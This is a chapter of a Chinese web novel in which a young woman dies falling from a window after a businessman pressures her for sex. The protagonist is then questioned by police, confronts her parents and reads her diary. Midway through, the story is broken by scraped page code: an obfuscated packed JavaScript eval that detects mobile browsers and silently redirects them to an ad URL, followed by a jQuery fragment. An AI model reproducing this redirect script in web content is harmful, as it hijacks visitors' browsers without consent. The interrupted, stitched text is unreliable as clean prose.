摧枯拉朽一声巨响,眼前的景象是慢镜头,一桢一桢,放缓了速度。
老式合院的窗户向外推开,玻璃四分五裂。小茹的身体扑出去,头发飞起来,裙子飞起来,整个身体都飞了起来。
看得见雪白大腿,腿上一颗红痣,看得见黑色底裤,然后是紧绷的小腿线条,发力的脚后跟。
她提着的包散开,无数百元大钞像蝴蝶扑着翅膀,在窗外古槐的映衬下,飞起来,然后轻飘飘地落了下去。
“有人跳楼了!!!”
屋外一声惊叫,忽然间人声鼎沸。
沈奕安呆站在屋内,耳畔是一秒钟前,小茹发出的最后惨叫:“妈妈!”
王总猛地冲过去,趴在窗台,伸出半边身体,忽然肩胛一紧,浑身都颤抖起来,满面惊惧怕。
他怪叫一声:“啊!我忘了、我忘了……”
原本他今日和沈奕安相约,还带了各自的女伴,准备玩点刺激的。但沈奕安带来的小女孩特别倔,怎么都不肯妥协。
而沈奕安和他的女人在一旁的沙发上,早就扭作一团。沈奕安这厮还扭过头来,淫.笑了一下。
他拿了一包钱给那个女孩,她收了,却还是不肯。闹得太久,他早就没了耐心,便随意往窗户一指:“不做也行,要么你从这儿跳下去。”
谅她也没这胆量,就算有,合院也只有两层,死不了人。
那个女孩实在太冲动,像个亡命之徒一般,拎着装满钱的提包,飞快地跑去窗边。
那一瞬间,他才想起,二层合院,围墙之外,有两个不锈钢垃圾桶,是昨日刚刚安放的。
可是一切都来不及了。
小茹的身体砸在坚硬的垃圾桶上,浑身抽搐,血从后脑勺渗出,像开出一朵赤红的花。
钞票落满地。
……
出警很快,看了房间之后,又带几人去底层的现场。小茹从二楼跌下来,直接落到了新安放的不锈钢垃圾桶上,头部骨折,在送去医院的路上便没了生命迹象。
造化弄人。
沈奕安看着案发现场,那只粉色的缎面蝴蝶结高跟鞋,早上还是他亲自给小茹穿上,此刻坠落在百年老槐旁边,翻转过来,孤零零的一只。
他看一眼一旁煞白脸色的王总,猛地一脚踹了过去。
接下来便是去刑侦支队做笔录,对于两人的关系、感情状况,以及案发时发生的细节,沈奕安一一道来。
警官目光如炬:“你们四个人在房间里,为什么死者要当着你们几人的面跳楼?到底是自己跳下去,还是有人逼迫?”
沈奕安靠在椅背,平静作答:“是王旬和她开玩笑,哪知道她自己就跳了,没人推她,也没人逼迫。”
问话的警官是个二十出头的新人,应是刚参加工作,态度相当严肃。
他又问:“开什么玩笑?”
沈奕安吐了一口气:“我没听见。”
警官皱着眉,用笔在桌子上敲了几下:“你要老实回答,配合我们的工作,据说死者还是你的情.妇,你要如实交代,不然要负法律责任!”
沈奕安不屑地笑了下,说:“我确实不知道,总不能编造吧,不然叫你们领导来,我怕你太情绪化,影响办案公正。”
这相当于一种挑衅,警官重重地将笔拍在桌上,怒斥道:“你态度好一点,当时房间里到底发生了什么事?而你又在做什么?”
沈奕安掀起眼皮,冷冷地:“我刚刚已经说过一遍,不想再重复。”
正当僵持时,审讯室外进来一人,凑在警官耳边悄悄说了句什么,那名警官变了脸色,回看了沈奕安一眼,便宣布这次的讯问结束了。
紧接着,徐莹带着几个人拥了进来。
“我们已经勘察完现场,沈先生,您可以回去了。”进来的一名警官说,又吩咐人倒了杯茶给他。
新泡的武夷山大红袍,茶香馥郁,让他暂时忘记案发现场的浓浓血腥气。
徐莹拿一件长大衣给他披上,语气温柔:“回家吧,车在外面等着呢。”
沈奕安点点头,走了出去。
对于他来说,死了一个女人不算什么,对他没有丝毫影响。
所以回到住处,他还与徐莹翻云覆雨一番,但做到中途,抬眸看见未关的窗户,窗帘飘动,就像飞起的裙角。
他心中一窒,各种情绪泥沙俱下一般,将他整个人瞬间覆盖。水淹土埋之后,只剩无尽的空虚。
他一把推开徐莹,倒头就睡去。
两日后,警察来电话,说是小茹的父母寻上门来,去了小茹的住处。
他原本只想让徐莹去打发走,但那天实在无聊,他也无心再做其他事情,便也去了一趟。
他从未听小茹讲过自己的父母,等真见了,才知道原因。
刚进门,便看见一男一女两个人在翻箱倒柜,动作粗鲁而急切。他就站在门口,冷眼旁观着,看了好久,没有从他们的脸上发现一丝亲人去世的悲痛。
“你们在找什么?”他终于开口,声音冰冷,带着一丝嘲讽。
小茹的母亲抬起头,眼神闪烁,换上一副讨好的表情,笑着说:“你就是女婿吧,我们只是来找小茹留下的东西,她欠我们钱,总得还吧。”
“欠你们钱?”他眉头一皱。
“是啊,她上学的时候我们借了她不少钱,现在她人没了,总得把账清了吧。”小茹的继父接过话头,理直气壮道。
“是呀,她来北京打工,工资应该也不低,她走了,钱还没花完吧,总要还给我们,还等着给她弟弟交学费呢。”小茹母亲道。
沈奕安冷笑一声:“她死了,尸体都还没火花,就这么迫不及待?”
小茹的母亲愣了一下,随即撇了撇嘴,语气里带着几分不屑:“难过有什么用?人死不能复生,我们还得过日子呢。再说了,她活着的时候也没给我们带来什么好处,现在死了,总得留点东西给我们吧。”
他听得心头火起,拳头不自觉地攥紧。
“你们走吧,这里没有你们要找的东西。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061201|156329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他冷冷地说道,语气里带着不容置疑的决绝。
“你凭什么赶我们走?这是小茹的房子,我们是她的父母,有权处理她的东西!”小茹的继父提高了嗓门。
沈奕安不想再多费口舌,只感到一阵疲惫,便叫来保安将两人轰了出去。
管家向小茹父母解释了,房主是沈奕安的名字,小茹的父母愣住了,脸色越来越难看:“这不可能!我们都听说她买房子了!”
小茹的母亲尖声叫道,声音里充满了愤怒和不甘,但无济于事。
沈奕安不再理会他们,关门进了卧室。
房间被翻得很乱,看样子是每个角落都没放过,连梳妆台上也是一片杂乱。
他回想起小茹曾坐在这里化妆,一张脸那么小,她动作轻柔,指尖轻轻划过脸颊,涂抹着粉底,描画着眉线。其实他喜欢那时候的她,安静又专注。
然而,现在梳妆台上却是一片狼藉。化妆品散落一地,口红滚到了角落,粉饼盒摔碎了,白色的粉末洒在桌面上,像是被风吹散的雪花。镜子也被打翻了,斜靠在墙边,映照出房间里混乱的景象。
他蹲下身,捡起一支口红,那是小茹最喜欢的颜色——淡淡的玫瑰红。他曾无数次看到她涂抹这支口红,然后轻轻抿一下嘴唇,转过头来对他撒娇地笑。
每每那时候,他总是觉得,小茹是爱他、依赖他的。
可现在,这支口红却孤零零地躺在他的手心里,冰凉而沉重。
就在口红的旁边,有个从未见过的笔记本。翻开是小茹的日记,字迹工整而清秀,如她本人一般。
他的手指轻轻抚过那些字迹,心里竟然涌起一阵酸楚。
他干脆坐在地上,靠在床边,仔细地翻看起来。
前十几页,记的都是打工时遇到的一些麻烦,有几页,详细记载与一个叫窦楠的人的金钱往来,像是在算账,斥责窦楠骗她。
又写于乔帮忙讨债,认识了傅律师。随后几页,都是关于那位傅律师的,他如何专业,如何有爱心,干脆做面锦旗去感谢,但傅律师的脸色实在太臭。
字里行间,她将这个男人记录得很细致,沈奕安一腔怒气无处发泄,只草草扫过,快速翻到后面去。
终于翻到来北京的时候,写大城市果然好找工作,待遇好领班和善,一晚上卖酒就进账一万块,只是跪式服务很不舒服,但算了,毕竟能赚钱。希望早点攒够钱,去沿海小城买一套房子,再养只狗,不知道多潇洒!照这赚钱速度,指日可待!
想象她当时写下时的嘚瑟神情,沈奕安的嘴角不禁噙了笑。
翻了三页,领班不是个东西,动手动脚,还不给我业绩,真想辞职,一走了之!但上个月的提成还没给。
再翻下一页,沈奕安的手指顿住,只因从里面看见了自己的名字。
“被油腻男打了一巴掌,还把酒浇到头上,真是害怕,但幸运的是,有人帮了我。他把我扶起来,还给我披外套。他好温柔,而且还不图我的任何回报。我打听过了,他姓沈。”